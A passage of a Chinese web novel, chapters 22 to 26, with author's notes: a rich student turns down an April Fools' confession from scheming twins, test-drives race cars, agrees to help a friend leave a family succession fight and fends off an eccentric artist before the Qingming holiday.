吃瓜可以,但吃到自己身上就不香了。
“学生会还是太狠了。”杨程扼腕。
今年乐子人集团和表白墙背后运营团队之学生会的对抗,已大厦将倾,不可挽回!
徐渝锤桌:“就,到此为止了吗?”
杨程接茬:“还能赢吗!”
徐渝:“能,一定能!”
杨程:“口牙口牙!”
俩人掏出手机,打算给墙墙分享一些自己刚编的小故事,为挽救战局贡献出自己的微小力量。
夏星时:……
夏星时:“一会儿下课我去俱乐部玩,你们去不?”
徐渝&杨程放下手机,小鸡啄米一样点头:“去呀去呀!”
什么宿命之战,那都是小孩才喜欢的,他们成年人不能这么幼稚。
袁易也蛮兴奋:“赛车终于到啦?”
夏星时说:“前几天就到了,这不是在忙校庆么。洛栢急着要试开。”
袁易:“他这段时间一直联系我想见你,现在应该是实在忍不住了。”
洛栢有夏星时的联系方式,但他都是通过袁易走一个中转,很懂规矩。
“嗯。”夏星时点头,然后问,“楼下还有单车吗?”
B大占地面积太大,夏星时的车又停在校外,腿着效率太低。
袁易查了下软件:“没了,不过咱们抓紧点,应该能赶上那辆去西门的摆渡。”
夏星时看了眼发车表,错过这辆摆渡他们就只能腿着了,紧迫感起来了。
他们几个是挺抓紧的,步频很快步子很大,按照这个速度,甚至来得及去自助售货机整瓶饮料。
不过意外还是发生了,刚出教学楼,他们发现门口的人比平时多了许多,仔细一瞧,有个人捧着玫瑰花,看样子是要表白。
“还真有今天表白的啊?”袁易还没来得及乐呢,就看见那捧着玫瑰花的身影很熟悉而且朝他们走来,然后将花——
递给了夏星时。
“夏星时,今天路过花店,觉得玫瑰很衬你。”洛明瑾捧着红玫瑰,金发在阳光下闪闪发亮,水绿色的双眸闪烁着清澈的光,深邃动人。
围观的同学们悄悄抬起手机,做贼一样的拍照。没有半点记录下浪漫一幕的想法,单纯是要分享美味瓜田。
#真有人愚人节公开表白啊?!#
夏星时脸上闪过意外。
和想象不同,他其实很少被人当面表白的经历。
夏星时的外形太出挑,美的太有距离感,在他面前诉说爱意需要破釜沉舟的勇气。这么多年,他收到基本都是些称不上情书的匿名小作文。
他们将自己藏在信后,大胆吐露着爱意,却从未奢望得到回应。
所以洛明瑾的做法的确让夏星时感到新奇。
不过……这个日子?
他看着洛明瑾,唇边的笑逐渐变得意味不明。
视线中,摆渡车已经驶来。
夏星时看向洛明瑾,上前一步,然后在后者期待的目光中,随意从捧花中抽出一朵,已读乱回:“谢谢,你也愚人节快乐。”
然后果断绕开洛明瑾直奔摆渡车,在车子启动前成功上岸。
夏星时坐在窗边的位置,金色的阳光打在他脸上,他半垂夏眼,浓黑的睫毛落下一层阴影。
徐渝:“哇靠,什么人啊他,不知道我们忙着呢吗!”
杨程为双胞胎平反:“他真不知道。”
徐渝不以为意:“哦,那好吧。你说这个是洛明琛还是洛明瑾啊?”
杨程拍手:“好问题!这也是我的疑问!”
“你俩能不能别玛卡巴卡了?”袁易给他俩一人一个爆栗,眉头紧皱,“洛……双胞胎是耍人!他把星时当乐子了!”
这种日子表白,一般分为三种情况,蠢货的试探、纯粹的小丑、以及恶劣的取乐。
“他当面表白,完全把星时架住了啊!”顾及摆渡车不止他们几个人,袁易声音压得很低,“如果星时给出合理理由拒绝,人家可能来一句愚人节快乐;如果星时为了给双胞胎留面子同意了,人家可能来一句愚人节快乐!里外里都落不着好!”
这也就是夏星时反应快,多待两秒都容易被脏东西沾上!
杨程和徐渝一愣一愣的,然后同步靠近袁易,一人一边抱住袁易胳膊。
杨程:“圆子,你不能背着我们偷偷补课。”
徐渝:“我们说好了一起当小智障的,你别背叛组织。”
两人散发着没有脑仁的清澈。
袁易:……依古比古啊!
夏星时看着玫瑰花轻啧了一声,旋即抬起手腕,随手将花抛进垃圾桶。
玫瑰花瓣上还沾着水珠,娇艳的很,此刻却孤零零躺在污秽中,狼狈又可怜。
花是无辜的,但他被恶心到了。
作者有话要说:
封煜:理性说的对[哈哈大笑]
封总的理性全是长难句。
第23章
奇点俱乐部。
洛栢穿着赛车服坐在俱乐部大厅,他频频望向电梯的方向,眉宇间有一丝挥不去的阴霾。
他拿着手机,在各个软件间毫无目的的切换着,眼睛落在上面,但内容没进脑子,划到B大论坛时,一张图片映入眼帘,洛栢陡然惊醒。
金发碧眼、眉眼深邃的青年将递出一大捧玫瑰花,笑容阳光灿烂,眼里写满了深情。对面的夏星时身姿挺拔,面容还残留着一丝惊讶。阳光暖呼呼地落在两人身上,照片唯美动人。
当然,洛栢觉得主要还是模特好看,达成了最重要的摄影三要素。
他气笑了,眼前黑了又一黑,悬着的心彻底死了,他果然跟这俩双胞胎犯冲!
少爷今天还能来吗?
他往休息室方向看了一眼,闭了闭眼睛,表情很是痛苦。
洛栢已经做好了今天见不到夏星时的准备,不过没接到消息前,他还是老老实实在这等着。
半小时后,电梯打开,几道熟悉的身影走了出来。
洛栢猛地起身,快步迎了上去。
洛栢:“夏少。”
夏星时点头:“等着,我先换装备。”
夏星时轻车熟路去休息室换衣服,洛栢则带着袁易三人到训练场内的观众席坐下。
袁易没忍住开口:“我真服了你俩。”
徐渝摘下耳机:“真以为哥们傻啊,我就是觉得星时心里肯定有数。”
杨程:“没错没错。”
他俩一开始的确没想那么多,但也不至于真的听不懂袁易的话。而且这种事,他们好像也帮不上什么忙,顶多以后找个机会套麻袋把人揍一顿。
二对二,聚众斗殴!
徐渝揽住洛栢:“栢啊,你那俩哥挺不是东西的。”
洛栢坐在一旁,双腿岔开,他灌了一口运动饮料,长叹了一声:“我真以为你们今天不来了。”
他是洛家十八铜人之一,跟双胞胎同岁,不过月份上他要小一点,是十八铜人里的忙内。洛柏在洛家很没存在感,他出生那阵,他那个死鬼爹正忙着抓捕带球跑的小娇妻——也就是双胞胎亲妈,以至于他的出生可谓无人问津。
袁易:“你都联系到星时那边去了,还有这种担心?”
他说话带着点阴阳怪气,洛栢却并不在意:“袁哥,我要是再不跟少爷见两面,我那帮哥哥姐姐就要把我弄到非洲去了。”
洛家去母留子,留下来的种自动为养蛊事业贡献力量,主打一个成王败寇。身为洛家的种,洛栢这些年过得其实挺好,吃穿不愁是基本的,良好的教育数不清的资源,正经的富二代待遇。
但洛家狠就狠在,现在给你的随时可以收回,成不了当家做主的那个,以前拥有一切那就蚀骨毒药。
洛栢名下有洛家的公司,但公司的业务全靠洛家主家提供,他现在是洛家人,能让公司正常运转。
但新一代家主上去,根本不可能再给他提供任何业务。结果就是先破产后负债,然后他必定“主动”的把名下的东西连本带利都还给洛家,跟净身出户没区别!
好的东西都需要保养维护,车子、房子、乃至友谊,没了资源,根本不可能维持现有的阶级。
靠自己?得了吧,到时候他敢留在掌权人眼皮子底下,那都是给人上眼药!人家给他设两个局,他就彻底完了。
洛栢对自己有清晰的认知,他是有心眼,但他那点斤两,玩不过那群成精一样的哥哥姐姐们。
不过他也有别人没有优势——他舔到了夏星时!
别误会,不是感情上的舔,洛栢没那么大的胆子。
他是靠技术——靠赛车技术,博了夏星时欢心,准确来说,他现在是为夏星时打工,是夏星时车队的选手。
他够年轻也有天赋,在赛道上够疯,去年排位赛成绩很不错,夏星时现在蛮宠他。
洛栢不需要夏星时真的给他些什么,只要夏星时记着有他这么个人在,他就还能在圈子里混。
夏星时换好装备,洛栢已经把车子开到车位上。
夏星时坐进车里,俱乐部工作人员仔细检查车子和设备,轮胎打气、调整位置。
赛车呈流线形,车身低矮,洛栢帮夏星时扣上安全扣,然后跪在侧边帮忙一起调整,但他主要还是在嘱咐夏星时。
洛栢:“新轮胎你还没适应,别跑太快,过弯不要急,注意安全。”
见到夏星时后,洛栢反而不急了,他现在要做的就是哄好这位少爷。
夏星时伸手比了个ok,扣上头盔面罩,余光瞄到身旁的二号位驶来一辆和自己的同款赛车,只不过夏星时的这辆是红白涂装,隔壁的是蓝黑涂装。
他微微偏过头,透过对方还没扣上的面罩,夏星时看清了里面的人是谁。对方朝他比了个手势,随后扣上了面罩。
工作人员摇旗,嗡鸣声响起,两人同时启动车子,如离弦的箭般驶出赛道。
在三号位的洛栢比前面两车慢了几秒出发。
夏星时率先切进弯道,后车却在出弯的瞬间猛然加速,地面留下黑色轮胎印记,引擎爆发出震耳的咆哮,两辆车几乎并行。
下一个弯道,夏星时切进的更加丝滑,出弯时直接领先了一个车位!
接下来一段赛道,连续过弯,两人车距稍稍拉进,再次并行,两辆赛车和谐共进。
夏星时握着方向盘,心跳和引擎的轰鸣共振,车子加速的畅快,酣畅淋漓的爽!
夏星时没有跑全程,提前用车内广播示意工作人员,工作人员挥旗,夏星时率先冲线,稳稳停在一号位。
他抬起面罩,解开安全扣,在车里缓了一会才从驾驶位钻出来,踩着车头跳到地面,然后转头看向旁边。
沈江尘抱着头盔站在他那辆蓝黑赛车旁边,红黑赛车服将挺拔的身形衬得愈发分明,宽肩窄腰,裤线绷出流畅的弧度,气场凌厉。
和平常那副斯文冷淡的样子不同,沈江尘现在浑身散发着狂野和桀骜,满是张扬的锋芒。
夏星时摘下头盔扬了扬下巴:“来了怎么没跟我说。”
他额前的碎发被风吹的微微扬起,唇角勾着肆意的笑。
沈江尘看着夏星时眼底荡着化不开的温柔:“临时起意。”
慢了一步下车的洛栢在头盔里撇撇嘴。那你可能对临时有什么误解吧。
“我哥之前跟我说有人定了同款赛车,才导致我这辆来晚了,不会就是你坏我好事吧。”夏星时将领口的拉链往下拉拉,把脖子放出来喘喘气。
赛车服穿在他身上,显得很利落,生气蓬勃的。
夏星时这句话的时候,语调带着一丝埋怨,更多的却是亲昵。让沈江尘有种回到从前的感觉。好像他们之间一直如此,从未有过疏离。
沈江尘没忍住揉了揉夏星时的头:“早知道是你想要,这辆都是你的。”
他不敢越线,很快放下手。
夏星时整理发型,“别了,我要这么多一样的车干嘛,图新鲜才碰一碰。”
他余光瞄到洛栢,随手把头盔递给后者。
作为专业赛车手,洛栢刚刚跑了一场商务局,跟没事人一样。
两人回休息室换好衣服,在会客室聊了会儿天。
两年没见了,说不感到陌生是假的,好在相同的爱好顺利打开了话匣子。
“你的车队去年成绩很好啊,赚了不少吧。”沈江尘打趣道。
夏星时:“没有啦。而且都是大哥在给我兜底,我什么都不懂。就挂个名。”
夏星时名下有一个赛车队,是他的成年礼物,去年成绩不错赚了几个小目标。夏星时的确是什么都不管,运营、训练都是锋锐的团队在处理,代言则是东升代理。
和洛栢不一样,夏星时的产业如果亏了,他家里人会帮着处理。夏少爷提出一个设想,然后纯赚。
沈江尘:“当初你说想玩玩赛车,夏叔不同意骂了我好一顿。”
夏星时耸肩:“本来只是好奇,他一反对,我就特别想玩了。”
叛逆期这玩意,夏星时也没逃过。
沈江尘叹气,眼神黯然:“你第一次上赛道的时候,我不在你身边,挺遗憾的。”
夏星时:“有什么好遗憾的,以后有的是机会。”
“我怕你忽然又不打算跟我玩了。”沈江尘笑了一下。
夏星时有些尴尬地挠了下脸颊。
他其实不知道大哥为什么不让他继续跟尘哥玩,但大哥当时看起来真的太生气了,他怕大哥一不小心做出什么不理智的事。而且他爸也不让他跟尘哥玩,所以应该是尘哥做错了什么吧。
沈江尘:“当初还说要我教你呢,现在也不需要了。感觉一下子缺席了你的人生。”
夏星时眨眨眼睛。
他喜欢上赛车,的确受到了沈江尘的影响。
那时候他坐在观众席看着沈江尘驾驶赛车在赛道上驰骋。不管是引擎的声音还是轮胎摩擦赛道留下的痕迹,他都觉得太酷、太刺激了。
他想和沈江尘一起玩,不过后来,当夏星时真正坐进赛车里、在赛道上驰骋冲刺,感受到和风的博弈与心灵的畅快时,沈江尘没在场。
夏星时思维发散。什么叫缺席人生,就算当时是沈江尘在他也是找教练啊。
尘哥是不是到岁数了?怎么还伤春悲秋起来了?
管理企业压力这么大吗?他是不是应该多关心一下大哥?
作者有话要说:
夏星时:这就是代沟吗?[奶茶]
第24章
俱乐部休息室。
夏星时坐在沙发里,他拿起圆几上的小盆多肉看了两眼,随后复归原位。
“你什么情况?”夏星时问洛栢。
“没啥,就是公司快破产了。”洛栢手指对碰,委委屈屈。
夏星时:“嗯?”
洛家的情况复杂又魔幻。
在洛大浪子眼中,不管十八铜人的生母是谁,总之都是他的种,既然是他的种,那就一视同仁,要公平。
每个铜人在成年后都会得到集团某家子公司的股份,至于能不能在公司里站稳脚跟、正常运营、甚至拿子公司当跳板回归集团,这不是他这个父亲需要考虑的。
洛栢当然也有一个公司,规模很小,是他自己特意挑的。
正常情况,他手里这家公司,支棱不起来但也倒不了。
洛栢双眼微微放空:“中招了,资金链断了,我现在自己贴钱养公司,总之,再砸手里两个月,我就彻底凉了。”
夏星时:“你太夸张了。”
洛栢赛车天赋很顶,也有成绩,身上挂着几个代言,俱乐部工资也不低,平时又没什么大开销,手里应该还有不少钱,现金流充裕的很,这种情况居然能被手里那家小公司拖垮?
“要不是真撑不住了,我哪能来麻烦少爷啊!”洛栢熟练的滑到夏星时腿边,他坐在地上,头靠着沙发,眼里一点光都没有。
夏星时沉默片刻:“我现在开口捞你,你就一点都没有可能拿下洛家了,不拼一把?有时候,你离成功可能就差拼一下的决心。”
夏星时鼓励洛栢。
洛栢仰着头,好半天才憋出来一句话:“您认真的吗?”
有些事,他不是靠拼一下就能改变现状的吧。
夏星时撇嘴:“你好没幽默感。”
洛栢:……
夏星时:“下午去见律师,把你名下所有的财产都列出来。然后做好准备,你这两年在俱乐部的赚的钱估计也留不下来了。”
洛家有时候抠的奇葩。
洛栢点头:“钱没了我还能赚。”
与其等着夺嫡结束蛊王诞生,不如提前退出战局,净身出户而已。只要能离开洛家,接下来他就是夏星时的人了,就算新家主竞选出来了,他也还能留在B市,不至于被那帮没良心的流放到非洲大草原之类的蛮荒之地。
给少爷打工赚的可比在洛家多多了,钱多事少离家近,哪找这么神仙的工作啊!.
袁易:“你资金链断的这么突然,是不是有谁针对你?”
夏星时他们来的就不早,玩完车也到了中午,几个人索性留在俱乐部食堂吃午饭。
现在夏星时已经决定捞洛栢,那大家就都是自己人了。袁易自认自己是团队里最稳重的老大哥,要包容,于是主动关心洛栢。
洛栢摇头:“应该不是。前段时间晨晓和锋锐不是在整顿行业么,好像波及到了我六姐的业务,然后她为了补自己的窟窿,就把我几个合作商撬走了,我也不敢跟她叫板,其他人见我软弱可欺,都上来舔一口,反应过来的时候已经来不及了。”
洛栢总结:“我单纯是被殃及池鱼了。”
“兄弟,我理解你啊!”徐渝瞬间跟洛栢共情了。
他举起紫菜鸡蛋汤,跟洛栢碰碗,随后一饮而尽!洛栢见状也不小气,陪了一杯热橙汁。
“那你觉得这场夺嫡大战最后谁能赢?”杨程非常好奇战局,可他连洛家十八铜人都认不齐,更别说打探消息了。
现在整个晋西北乱成一锅粥,谁敢沾边啊!
这真把洛栢问住了,他咬着筷子思索:“大哥二哥年纪最大,接触家里业务也多,目前在集团公司任职,已经有自己的班底,从表面看来优势巨大;三姐虽然在子公司,但是实打实的一把手,权利稳定;四哥……;五哥联姻的那家根正苗红人脉很广,就算不能赢,全身而退也没问题;六姐走技术岗,有转投三姐麾下的意愿……;十哥亲妈家里很有实力,每年的财务报表都很亮眼;十二十三在考公,手里的公司全权交给了大哥,公开战队支持大哥,但得罪了其他人……;双胞胎带资进组,实力雄厚。”
洛栢边说边点头:“目前战局依旧焦灼。”
“这才是豪门战争啊!”杨程听的都有点热血沸腾了,“不过对比下来,你也太弱了吧。”
洛栢不服气,为自己平反:“我明明是最厉害!只有我彻底脱离战局了呀,稳稳的很安心!”
在洛家,养蛊这种事,作为蛊虫,是没有资格拒绝参与的。真以为手里那个公司是白来的?基础资源就算你不要集团也会硬塞给你,而只要手里有东西,就会被其他人惦记,击碎你,才能夺取你。
认输投降?不好意思,你的存在就让我寝食难安啊。
洛栢能脱离战局,一来他自己在十八铜人里实在是不显眼,平日就低调得很,二是因为他找了个足够有重量的靠山。
杨程愣了一下,随后表示认可:“那确实。”
徐渝:“栢啊,我们现在有一个套麻袋暴揍双胞胎的活动,你要不要报名参与?”
杨程也说:“现在二打二,你来了我们就三打二!优势在我!”
洛栢看向夏星时,然后轻轻说:“他俩练过格斗。”
他俩任何一个都能打你们十个,我们别自取其辱了吧。
杨程打响退堂鼓:“看来此事还需从长计议。”
徐渝附议:“打打杀杀的太鲁莽了,我们应该走智力路线。”
袁易:……那不是还没开始就必败无疑了?
夏星时抬头叹气:“你俩消停点。”
杨程握拳:“我咽不下这口气!”
双胞胎怎么可以把表白这种浪漫、富有艺术气息的事搞得那么恶心!这是玷污艺术!
“放心,我又不是那种以德报怨的人。”夏星时声线清冽,语气随意,带着似笑非笑的凉薄。
杨程捧着脸荡漾了。
吃好喝好后他们准备回学校,走到大厅时忽然看见前台有个红毛。
杨程眼皮一跳,立刻拉住夏星时,但还没来及后退,那红毛便转过头来,将墨镜抬到头顶,狭长魅惑的眼睛弯起,他看着夏星时,露出邪肆的笑,“嗨,宝贝,好巧啊。”.
“不不不,我怎么会做跟踪你这么没品又违法的事呢,我只是合理推测你的行踪而已,毕竟真的很简单呀。”商晔捧着冰可乐,夸夸其谈,“首先,你大哥几天前就在朋友圈炫耀给弟弟买了新赛车;其次之前校庆活动那么忙,你肯定没时间出来玩;最后,我打电话预约参观,前台小姐姐说今天俱乐部被包场了。”
“当然,就算你今天不来,我也可以日日蹲守嘛,新车到手你早晚要来摸一下的。”商晔冲夏星时发出一个帅气wink。
最先恍然大悟的反而是洛栢,他总算明白沈江尘是怎么精准狙击到夏星时的。
居然是智力吗!
他还是以为是财力呢。
洛栢问杨程:“他是你亲戚吗?”
杨程惊恐:“你怎么看出来的。”
洛栢视线在两人之间移动,干笑了一声。哥们长眼睛了。
商晔五官出色,个子高挑,狭长的眼睛看谁都像是挑衅,自带着张扬与野性,感觉玩的很花,头顶的红毛更是加深了这一印象。但只要他开口,没人会怀疑他艺术家的身份。
癫癫的很安心。
夏星时听完,认可点头,情绪依然稳定:“所以,找我有什么事?”
“是这样的,我近期有一项关于人体的艺术创作,想邀请你来做模特。”商晔用手背支着脸,狭长的双眼满是真诚,“直白点说,能看看腹肌吗?”
夏星时双眼微微睁大:?
杨程抱住头,不敢睁开眼。
商晔丝毫不觉得自己冒昧,他用手指勾起一撮头发在指尖旋转,语调沉醉:“这世界上的人,总喜欢用谎言粉饰真相,隐藏心中的渴望,不止欺骗他人,还欺骗自己。而我总是如此的坦诚,事实上,坦诚是我最微不足道的优点。我的内在更加璀璨。”
夏星时很难不沉默。
他尽力尊重这位大艺术家:“很抱歉,我可能没什么艺术觉悟,没办法理解你的艺术,也不准备成为你艺术的一部分。”
闻言,商晔猛地站起,面色潮红的做了两次深呼吸,眼中的兴奋让他看起来极其癫狂。
夏星时身体后仰,脸上流露着极为生动的害怕。
袁易真怕红毛死这:“他怎么了?”
杨程声音幽幽:“给他爽到了。”
其他人:?
爽点在哪啊?
杨程笑而不语:成为你(艺术)的一部分。
杨程偶尔会质疑自己是否适合走艺术这条路,但更多的时候他沉醉于自己在艺术领域的敏锐。
我简直是个艺术小天才~
洛栢的视线继续在杨程和商晔间移动。这就是真正的血脉羁绊吗?
“亲爱的,你不需要道歉,你永远不会有错。”商晔重新坐下来,摸着胸口持续深呼吸,尽力平复。
他看向夏星时随意搭在黑色桌面的手,夏星时的手很漂亮,冷白修长骨节分明,指甲修剪的整整齐齐。
夏星时有点受不了商晔说话的语调,他不适地拿起水杯,抿了口水。
商晔的目光紧紧追随,轻轻落在了那只手上。
夏星时喝完水将被子放回桌面,手肘支在桌面,手腕微微提起,指尖轻抚杯口,手背青筋微微鼓起。
好涩。
商晔下意识想触摸夏星时手,后者却先一步将手放到桌面下。
商晔撤回动作,没有分毫的尴尬,唯有满满的遗憾。
这手打我一巴掌我也愿意啊。
夏星时不适道:“商先生,做人还是要有一些边界感的。”
商晔眨眼,眼中满是无辜:“那做狗应该就不需要了吧?”
商晔咧嘴:“嗷呜~”
夏星时:……这特么是狼。
作者有话要说:
商晔:[求你了]没有人会拒绝一只小狗吧~
第25章
“我真怕你骂他他都爽!”徐渝坐在后座,白眼直翻。
杨程:“不用怕。”
徐渝反应两秒,才意识到杨程说的不用怕是什么意思。
杨程羞涩:“我常常因为不够变态,而质疑自己在艺术方面的天赋。”
开车的袁易:“那大可不必。”
你的艺术天赋已经有目共睹了,大大加深了我们对艺术家的刻板印象。只不过艺术家这个团伙总有一些超乎寻常的天赋党。
夏星时在副驾闭着眼睛。
如果说今天的双胞胎是纯恶心,那么商晔则是让他感到纯无语。
商晔的坦诚建立在对他人的折磨之上。他直白的讲述着自己的感受,毫不在意别人的情绪。充分的展现了只要自己不尴尬,尴尬的就是别人。
商晔望向夏星时的眼神直白又狂热,让人头皮发麻。
夏星时睁开眼,掏出手机,从聊天软件中找到商晔,迅速屏蔽拉黑删除一条龙。
他轻呼了一口气。
夏星时理解艺术家在创作时的沉浸,但他表示自己暂时接受不了商晔级别的艺术。
他现在觉得自己是个淡人了。
夏星时拉黑了让他无语的人,随后发现,恶心的那个给他发消息了。
【洛明琛:今天小瑾太冲动了,让你为难了吧。】
【洛明琛:他没有别的意思,只是很喜欢你。】
这是哥哥的账号,不过对双胞胎来说,名字根本不重要。
【星时:没关系:)。】
洛明琛似乎是一直守着夏星时的消息,秒回。
【洛明琛:我想当面跟你道个歉。】
【洛明琛:如果你有时间的话。】
夏星时看了一眼,切出聊天页面,锁屏了。
他没回应,不过他觉得双胞胎不会就此作罢。
果然,第二天夏星时在操场晨跑的时候,偶然“巧遇”“洛明琛”。
“哥哥”路过操场,看见夏星时后似乎犹豫了片刻,在原地思考了一会儿才迈步走进操场。
他站在看台边,等夏星时降速休息,才上前搭话。
“星时,借一步说话?”
夏星时刚跑了五公里,身上出了一层薄汗,胸膛微微起伏着,呼吸有些乱。
夏星时盯着他看了几秒,点头,“行。我拿书包。”
他最近在尝试感受清晨的世界,每天早上会自动刷新在跑道上,跑完后顺路去食堂给袁易他们带个早饭,被有心人蹲守也不是什么太意外的事。
夏星时走到看台,弯腰拎起书包,把包里的外套掏出来往身上套好,垂头拉好拉链,然后将书包往背后一甩。
宽大的外套遮住漂亮的肌肉,下身的运动短裤垂在膝盖上方,露出线条流畅白皙的小腿,背包挂在右侧肩膀上,满是青春活力的气息。
他从书包里拿出一瓶水,拧开瓶盖,仰头灌下,浅蓝色的速干发带束在额上,额发微微晃动,眉眼清爽.
“昨天真是抱歉,小瑾他对一些特殊的日子不太敏感,让你看笑话了。”
夏星时一直很喜欢双胞胎的眼睛,澄澈美丽,比小时候最心爱的玻璃珠还要漂亮。不管是倾听还是诉说,他们的视线总是专注的,仿佛深情款款,无比真诚。
此刻他长长的睫毛微微颤动着,澄澈的眼珠露出几分歉意的腼腆,不管是谁看了都会心软吧。
夏星时没感觉,甚至想笑。
因为眼前这个“洛明琛”分明就是昨天的“洛明瑾”。
拿着花的那个冒充另一个的身份过来给自己道歉?这能有半分的诚意在?
夏星时夹起虾饺:“那是挺乐。”
他们来的是校门口的一家早茶店,虾饺是招牌,味道很不错,缺点是量小且贵,和对面两块一个的豆沙包比起来毫无性价比。
洛明瑾笑了笑:“他没坏心思,表白是认真的,只是选错了日子。”
夏星时垂眼,没接茬,安静安静喝着粥。
自己夸自己一点不尴尬,这心理素质不是一般的牛。难道人只要失去名字就能得到一切?
想想好像是这样的吼,小时候二姐也顶过大哥身份为非作歹,超级快乐。
当双胞胎真挺不错的,可惜他已经没机会了。夏星时暗自遗憾。
夏星时一共点了一碗粥一盘虾饺一碟红米肠,还有两个蛋挞做饭后小零食。听着多,看早茶店的量实在不多,这些东西都下肚也没感觉到饱。
他打算一会儿回去的时候,再买俩豆沙包吃。
最后用一杯热茶结束早饭,夏星时准备和小B告别。
他抬起头,目光落在小B的脖子上,微微顿住,试探性地问:“你……好像过敏了?”
洛明瑾看着夏星时,手指挠着脖子,眼神茫然
他看着已经空了的虾饺盘,面露恍然:“我好像是对虾仁过敏来着。”
他说完,有些尴尬地笑了笑,看起来很不好意思。
夏星时:……
干什么。要搞这种笨蛋大男孩的人设啦?.
夏星时没吃到豆沙包,因为他陪小B去医院挂号了。
洛明瑾拿着医生的开药单从诊室走出来,为自己辩解:“我上次吃都不过敏了,我还以为好了呢。”
夏星时问:“医生怎么说?”
洛明瑾:“还好,不严重,开了一盒口服的药和外涂的药膏,还有让我远离过敏原。”
夏星时:“以后注意点,过敏不是小事,以后就别碰海鲜了。”
洛明瑾低头:“我挺爱吃海鲜的。”
夏星时无视他的嘴硬,背起包,“走吧,取药。”
取药窗口在门诊大厅,排队的很人多,不过速度蛮快的,夏星时让病号坐椅子上休息,自己替他排队。
排了快十分钟,终于轮到了夏星时。他拿着药回来,发现单胞胎变双胞胎了。
夏星时向着双胞胎靠近,看着刚来的那个身上带着和前一个的同款红疹,没忍住问:“你们双胞胎连过敏也能心灵感应?”
两个人同时摇头,脸上的表情是同款的委屈。
“我吃水果捞,芒果过敏了。”新来的洛明琛小小声说,“一定是店家用的芒果不好。”
夏星时:……你又不是第一次过敏。
洛明琛凑过来,像条小狗一样垂下脑袋:“夏,对不起,我以前没过过愚人节。”
在洛明琛说话前,夏星时多少抱着一丝侥幸。比如昨天那场告白戏,以及今天小B伪装小A,都是小B的自作主张。不过现在,他看见小A如此从容熟练使用着小B的身份,双胞胎精妙的配合,确认这两人完全是邪恶的同谋。
怕不是两人连过敏都是故意的。
——去早茶店吃虾饺可不是夏星时提议的。
夏星时没接他的茬,转而问:“取药了吗?”
洛明琛摇头:“还没。”
夏星时:“我看看开了什么药。”
洛明琛把单子递给夏星时。
夏星时把两盒药递给双胞胎:“开的药是一样的,这个够你俩吃的了,不用取了。”
洛明琛眨眨眼睛,小心翼翼举起缴费单,无辜道:“可是我已经交钱了。”
夏星时:……
好烦。
夏星时让病号歇着,再一次来到取药窗口,排队的时候他拿出手机。
【封煜:有只流浪猫掉到通风井了,正在等救助团队。】
【封煜:救上来了,是只狸花。[吊小猫照片]】
【封煜:专业团队就是不一样。[大拇指]】
【封煜:助理说它叫海参,一直在附近活动。】
【封煜:医生说它怀了。[医院照片]】
【星时:我的天,它好胖,真的像个大海参!】
【星时:哥你亲自陪护吗?】
【封煜:不想上班。】
【星时:哈哈哈哈。】
双胞胎带来的坏心情这一刻烟消云散.
洛明琛:“夏,谢谢你陪我们来医院,你怎么这么好呀。”
洛明琛是开车过来的,夏星时没让两个病号开车,他把双胞胎赶到后座自己坐上驾驶位。
夏星时轻笑一声:“我这个行为主要是为了保全自己。”
洛明琛疑惑:“嗯?”
夏星时:“他要是过敏没了,作为同桌吃饭的我是要负法律责任。”
洛明琛:“夏,你真幽默。”
夏星时不语。看吧,说真话人家都当你开玩笑。
路上,他按照导航往双胞胎家里开。
洛明琛完美伪装洛明瑾的身份,一直在找话题跟夏星时搭话;真正的洛明瑾此刻也坚定的扮演洛明琛,相对沉默一些,表现出一副对夏星时不感兴趣的模样。
身份互换、角色扮演,这个游戏兄弟俩从小玩到大,他们从没输过,一直都是冠军。
到达目的地,夏星时将车停好,然后拿起放在副驾的书包,迈下车子。
洛明琛快步迈到车头,拦住夏星时,他从背后忽然拿出一朵玫瑰花,递给夏星时:“夏!”
他五官英俊深邃,双眼明亮清澈,金发在阳光下熠熠生辉。
夏星时笑了笑,随手将钥匙抛给洛明琛,语调漫不经心:“你也愚人节快乐。”
他作势绕开洛明琛,后者却继续挡着他。
“可是今天不是愚人节了!我是认真的!”洛明琛眉头微皱,双眸荡出几分哀怨。
夏星时就这么看着他。
旁边的洛明瑾站出来,厉声制止:“小瑾!不要闹了!”
他呵斥完,温声对夏星时闪烁:“对不起啊,他太不懂事了。”
“没关系。”夏星时微微垂着头,强压着唇角的弧度。
他真怕自己乐出声。
没关系,你们给我提供了很多乐子,跟你们在一起的每一天都是快乐的愚人节。
在“弟弟”的无礼做法之下,“洛明琛”极力要送送夏星时,夏星时推拒了两次挨不过只能答应,而“洛明瑾”则气鼓鼓跟在两人后面。
洛明瑾:“星时,假期要不要一起打篮球?或者一起打游戏?”
夏星时摇头。
洛明瑾叹气:“我真的很抱歉,他的确太不懂事了。”
夏星时抬手制止他继续说下去:“你别误会,我假期真有事。”
洛明瑾下意识问:“什么事?”
“上坟啊。”夏星时理所当然地问,“你清明不上坟吗?”
作者有话要说:
夏星时:没有偷偷骂人哦[眼镜]
第26章
清明节假期前一天,夏星时跟辅导员请假,理由是回家扫墓。
众所周知,假期前一天的请假难度略高于微积分,但假期前一天的离校难度可能低于二元一次方程。
夏星时早上十点坐上飞机,旁边是他二叔。
他俩已经是回家最晚的了,家里其他人前两天就陆续回老家等着扫墓了。
夏二叔问:“星时,那孩子现在状态还行吧?”
他问的是谭淮。身为原债主,他对这孩子难免有几分关注。
夏星时有些不明所以:“应该还行吧,实习证明已经给他盖完了”
夏二叔噎了一下,他大哥家的这几个崽,在情感上真是一点都不细腻。遇见事就撒币,毫无浪漫细胞。
夏二叔保持微笑,语调缓和:“我问的是情绪方面,个人的状态什么的。”
夏星时想了想:“挺好,完全走出阴霾了!”
他斩钉截铁,自信满满。
夏二叔沉默两秒:“叔想问问你是怎么得出这个结论的?”
夏星时伸出手指细数:“写的歌积极向上,能正常参加活动,校庆上蹦跶的也挺开心。对了,最近他还启动了健身计划,非常阳光!”
网上说这首歌千人千味,每个人的感受都不一样。夏星时认为网友们是在玩梗,因为只能感受到春天的欢快。
夏二叔则有不同的看法,歌曲前半段的确仿佛将他引回年少的那段张扬肆意的时光,但越听越是怅然若失。
“欲买桂花同载酒,终不似少年游。”夏二叔感慨,“我感觉那孩子是在用工作麻痹自己。”
夏星时笑了笑,偏头去看周围的云彩:“谭淮没那么脆弱,最难的那阵,他眼里也有一股劲。”
谭淮当时的心气还没散,横在他面前的山很高,但不代表他不能卯足力气翻过去。可那时候背后有追兵,前路又模糊,只有一条捷径摆在眼前,他看不见捷径背后的代价,踌躇着要踏上去。
夏星时没让他走那条看起来就很差的捷径.
